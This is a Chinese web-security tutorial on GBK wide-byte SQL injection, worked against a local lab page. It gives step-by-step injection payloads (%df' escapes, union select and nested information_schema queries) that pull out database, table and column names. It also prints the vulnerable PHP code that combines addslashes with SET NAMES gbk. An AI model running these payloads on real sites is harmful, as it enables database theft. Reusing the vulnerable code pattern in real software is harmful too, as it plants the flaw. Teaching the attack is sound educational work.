Web網(wǎng)絡(luò)安全解析寬字節(jié)注入攻擊原理
寬字節(jié)注入攻擊
寬字節(jié)注入攻擊的測(cè)試地址:http://127.0.0.1/sqli/kuanzijie.php?id=1。
訪(fǎng)問(wèn)id=1',頁(yè)面返回的結(jié)果如圖46所示,程序并沒(méi)有報(bào)錯(cuò),反而多了一個(gè)轉(zhuǎn)義符(反斜杠)。
圖46 單引號(hào)被轉(zhuǎn)義
從返回的結(jié)果可以看出,參數(shù)id=1在數(shù)據(jù)庫(kù)查詢(xún)時(shí)是被單引號(hào)包圍的。當(dāng)傳入id=1'時(shí),傳入的單引號(hào)又被轉(zhuǎn)義符(反斜杠)轉(zhuǎn)義,導(dǎo)致參數(shù)ID無(wú)法逃逸單引號(hào)的包圍,所以在一般情況下,此處是不存在SQL注入漏洞的。不過(guò)有一個(gè)特例,就是當(dāng)數(shù)據(jù)庫(kù)的編碼位GBK時(shí),可以使用寬字節(jié)注入,寬字節(jié)的格式是在地址后先加一個(gè)%df,再加單引號(hào),因?yàn)榉葱备艿木幋a為%5c,而在GBK編碼中,%df%5c是繁體字“連”,所以這時(shí),單引號(hào)逃逸成功,報(bào)出MySQL數(shù)據(jù)庫(kù)的錯(cuò)誤,如圖47所示。
圖47 利用寬字節(jié)逃逸單引號(hào)的包圍
由于輸入的參數(shù)id=1',導(dǎo)致SQL語(yǔ)句多了一個(gè)單引號(hào),所以需要使用注釋符來(lái)注釋程序自身的單引號(hào)。訪(fǎng)問(wèn)id=1%df'--+,頁(yè)面返回的結(jié)果如圖48所示,可以看到,SQL語(yǔ)句已經(jīng)符合語(yǔ)法規(guī)范。
圖48 利用注釋符注釋單引號(hào)
使用and 1=1和and 1=2進(jìn)一步判斷注入,訪(fǎng)問(wèn)id=1%df' and 1=1--+和id=1%df' and 1=2--+,返回結(jié)果如圖49和圖50所示。
圖49 訪(fǎng)問(wèn)id=1%df' and 1=1--+時(shí)頁(yè)面的結(jié)果
圖50 訪(fǎng)問(wèn)id=1%df' and 1=2--+時(shí)頁(yè)面的結(jié)果
當(dāng)and 1=1程序返回正常時(shí),and 1=2程序返回錯(cuò)誤,所以判斷該參數(shù)ID存在SQL注入漏洞,接著使用order by查詢(xún)數(shù)據(jù)庫(kù)表的字段數(shù)量,最后得知字段數(shù)為3,如圖51所示。
圖51 獲取數(shù)據(jù)庫(kù)表的字段數(shù)
因?yàn)轫?yè)面直接顯示了數(shù)據(jù)庫(kù)中的內(nèi)容,所以可以使用Union注入。與Union注入一樣,此時(shí)的Union語(yǔ)句是union select 1,2,3--+,為了讓頁(yè)面返回Union查詢(xún)的結(jié)果,需要把ID的值改為負(fù)數(shù),結(jié)果如圖52所示。
圖52 結(jié)合Union注入
然后嘗試在頁(yè)面中2的位置查詢(xún)當(dāng)前數(shù)據(jù)庫(kù)的庫(kù)名(database()),語(yǔ)句為:
id=-1%df' union select 1,database(),3--+
返回的結(jié)果如圖53所示。
圖53 獲取database()
查詢(xún)數(shù)據(jù)庫(kù)的表名時(shí),一般使用一下語(yǔ)句。
id=-1%df' union select 1,(select table_name from information_schema.tables where table_schema='sql' limit 0,1),3--+
但是此時(shí),由于單引號(hào)被轉(zhuǎn)義,會(huì)自動(dòng)多出反斜杠,導(dǎo)致SQL語(yǔ)句出錯(cuò),所以此處需要利用另一種方法:嵌套查詢(xún)。就是在一個(gè)查詢(xún)語(yǔ)句中,再添加一個(gè)查詢(xún)語(yǔ)句,下列就是更改后的查詢(xún)數(shù)據(jù)庫(kù)表名的語(yǔ)句。
id=-1%df' union select 1,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),3--+
可以看到,原本的table_schema=‘sql'變成了table_schema=(select database()),因?yàn)閟elect database()的結(jié)果就是'sql',這就是嵌套查詢(xún),結(jié)果如圖54所示。
圖54 獲取數(shù)據(jù)庫(kù)的表名
從返回結(jié)果可以看到,數(shù)據(jù)庫(kù)的第一個(gè)表名時(shí)emails,如果想查詢(xún)后面的的表名,還需要修改limit后面的數(shù)字,這里不再重復(fù)。使用以下語(yǔ)句嘗試查詢(xún)emails表里的字段。
id=-1%df' union select 1,(select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1),3--+
這里使用了三層嵌套,第一層時(shí)table_schema,它代表庫(kù)名的嵌套,第二層可第三層時(shí)table_name的嵌套。我們可以看到語(yǔ)句中有兩個(gè)limit,前一個(gè)limit控制表名的順序。如這里查詢(xún)的不是emails表,而是users表,則需要更改limit的值。如圖55所示,后面的操作如Union注入所示,這里不再重復(fù)。
圖55 獲取數(shù)據(jù)庫(kù)字段名
寬字節(jié)注入代碼分析
在寬字節(jié)注入頁(yè)面中,程序獲取GET參數(shù)ID,并對(duì)參數(shù)ID使用addslashes()轉(zhuǎn)義,然后拼接到SQL語(yǔ)句中,進(jìn)行查詢(xún),代碼如下。
<?php error_reporting(~E_WARNING); $conn = mysqli_connect("localhost","root","root","test"); // 檢測(cè)連接 if (mysqli_connect_errno()) { echo "連接失敗: " . mysqli_connect_error(); } mysqli_select_db($conn,'test') OR emMsg("數(shù)據(jù)庫(kù)連接失敗"); mysqli_query($conn,"SET NAMES 'gbk'"); $id = addslashes(@$_GET['id']); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); if($row) { echo $row['username'] ." : ". @$row['password']; } else { echo mysqli_error($conn); } ?> </font> <?php echo "<br>The Query String is : ".$sql ."<br>"; ?>
當(dāng)訪(fǎng)問(wèn)id=1'時(shí),執(zhí)行的SQL語(yǔ)句為:
select * from users where id='1\''
可以看到單引號(hào)被轉(zhuǎn)義符“\”轉(zhuǎn)義,所以在一般情況下,是無(wú)法注入的,但由于在數(shù)據(jù)庫(kù)查詢(xún)前執(zhí)行了SET NAMES ‘GBK',將編碼設(shè)置為寬字節(jié)GBK,所以此處存在寬字節(jié)注入漏洞。
在PHP中,通過(guò)iconv()進(jìn)行編碼轉(zhuǎn)換時(shí),也可能存在寬字符注入漏洞。
以上就是Web網(wǎng)絡(luò)安全解析寬字節(jié)注入攻擊原理的詳細(xì)內(nèi)容,更多關(guān)于Web網(wǎng)絡(luò)安全寬字節(jié)注入攻擊的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
網(wǎng)絡(luò)安全滲透測(cè)試反序列化漏洞分析與復(fù)現(xiàn)工作
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全滲透測(cè)試反序列化漏洞分析與復(fù)現(xiàn)的工作流程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2022-02-02Web網(wǎng)絡(luò)安全分析二次注入攻擊原理詳解
這篇文章主要為大家講解介紹了Web網(wǎng)絡(luò)安全分析二次注入攻擊原理的詳解,有需要相關(guān)學(xué)習(xí)的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2021-11-11Web網(wǎng)絡(luò)安全解析寬字節(jié)注入攻擊原理
這篇文章主要介紹了Web網(wǎng)絡(luò)安全解析寬字節(jié)注入攻擊原理,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-11-11web網(wǎng)絡(luò)安全分析反射型XSS攻擊原理
這篇文章主要為大家介紹了web網(wǎng)絡(luò)安全分析反射型XSS攻擊原理詳細(xì)講解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-11-11滲透測(cè)試信息收集查詢(xún)真實(shí)IP過(guò)程
這篇文章主要為大家介紹了滲透測(cè)試信息收集查找真實(shí)IP過(guò)程步驟,有需要的朋友可以借鑒參考下希望能夠有所幫助,祝大家,多多進(jìn)步,早日升職加薪2021-11-11Web網(wǎng)絡(luò)安全漏洞分析SQL注入原理詳解
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全漏洞分析SQL注入的原理詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-11-11無(wú)線(xiàn)網(wǎng)攻擊工具進(jìn)攻方法及防范技巧小結(jié)
對(duì)無(wú)線(xiàn)網(wǎng)安全攻防有興趣的人應(yīng)該都需要一套工具,英特網(wǎng)上有很多免費(fèi)的工具。本文不求全面,但求能提供一些指導(dǎo)和建議。2008-02-02Web網(wǎng)絡(luò)安全漏洞分析XSS常用語(yǔ)句及編碼繞過(guò)詳解
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全漏洞分析XSS常用語(yǔ)句及編碼繞過(guò)詳解,有需要的朋友可以借鑒參考下希望能夠有所幫助,祝大家多多進(jìn)步早日升職加薪2021-11-11網(wǎng)絡(luò)安全流量分析工具蟻劍詳細(xì)介紹
蟻劍(AntSword)是一款開(kāi)源的跨平臺(tái)WebShell管理工具,它主要面向于合法授權(quán)的滲透測(cè)試安全人員以及進(jìn)行常規(guī)操作的網(wǎng)站管理員,蟻劍推崇模塊化的開(kāi)發(fā)思想,遵循開(kāi)源,就要開(kāi)得漂亮的原則,致力于為不同層次的人群提供最簡(jiǎn)單易懂、方便直接的代碼展示及其修改說(shuō)明2022-09-09